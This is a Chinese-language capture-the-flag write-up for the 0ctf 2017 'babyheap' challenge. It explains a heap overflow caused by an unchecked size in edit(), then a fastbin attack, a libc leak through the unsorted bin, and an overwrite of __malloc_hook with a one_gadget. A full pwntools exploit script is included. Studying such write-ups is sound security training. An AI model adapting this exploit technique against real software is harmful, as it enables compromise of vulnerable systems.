索引
- 基本信息
- IDA分析
- 思路
- exp图
- exp
- 补充点
基本信息
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
dynamically linked
16.04
IDA分析
add
edit
free
show
思路
- PIE和Full RELRO保证了不能通过更改GOT表劫持控制流,可以控制用
__malloc_hook
和__free_hook
劫持
- 漏洞点:在
edit
的时候没有限制size的大小
,导致可以利用覆盖到下一个chunk的content,这样可以伪造in_use_size
和fd
或者bk
- 首先创造3个0x10的chunk和一个0x80的chunk通过free掉index =1和index=2的chunk将index=2的chunk加入到main_arena中
- 这时候我们就要用index=2的fd的最后一位伪造成0x80的chunk,通过过调试,知道index=3的头的地址最后一位是0x80,所以我们只要利用size位没有限制进行溢出覆盖
p8(0x80)
,这样原来free掉的第一个chunk被我们给改为了,index=3的chunk。
- 这时候我们申请两次 ,第二次就可以申请到index = 3的chunk但是,内存机制会检查大小,所以我们需要先将index=3的size位改为0x21 ,这样我们就顺利的将我们index=3的chunk加入到了,main_area中,我们free掉index = 3 ,这里还要注意一点就是为了防止和top chunk合并 我们在申请一个0x80的chunk,先在free掉index=3 在打印index =2 我们就可以接受收到了fd。
exp图
exp
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./babyheap_0ctf_2017')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote()
libc = ELF('libc.so.6')
pass
def add(size):
p.sendlineafter("Command: ",str(1))
p.sendlineafter("Size: ",str(size))
def edit(index,size,Content):
p.sendlineafter("Command: ",str(2))
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",Content)
def free(index):
p.sendlineafter("Command: ",str(3))
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter("Command: ",str(4))
p.sendlineafter("Index: ",str(index))
def debug():
print("[+]----pid%s"%proc.pidof(p))
pause()
lg=lambda address,data:log.success('[+]---->%s: '%(address)+hex(data))
def pwn():
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x80)
add(0x80)
free(1)
free(2)
payload = p64(0)*3+p64(0x21)
payload += p64(0)*3+p64(0x21)
payload += p8(0x80)
edit(0,len(payload),payload)
payload = p64(0)*3+p64(0x21)
edit(3,len(payload),payload)
add(0x10)
add(0x10)
payload1 = p64(0)*3
payload1 += p64(0x91)
edit(3,len(payload1),payload1)
free(4)
show(2)
p.recvuntil("Content: \n")
libc_base = u64(p.recv(8)) - 0x58 -0x3c4b20
lg("libc_base",libc_base)
malloc_hook = libc_base+ libc.symbols['__malloc_hook']
lg("malloc_hook ",malloc_hook )
add(0x60)
free(4)
fake_addr = malloc_hook -0x20 -0x3
payload2 = p64(fake_addr)
edit(2,len(payload2),payload2)
debug()
add(0x60)
add(0x60)
payload3 = "A"*0x13
payload3 += p64(libc_base+0x4526a)
edit(6,len(payload3),payload3)
add(0x1)
p.interactive()
if __name__ == "__main__":
pwn()
补充点
利用 xinfo 0xdeedbeef 快速算偏移
合理利用debug()查看pid 调试,这里w是用vscode,所以不方便使用attach()
fastbins 特性:在链表中加入chunk会检查size,所以想要利用就要伪造previous_size位
unsortedbin 特性:加入链表中的chunk的指向 main_arena,可以用来泄露 libc_base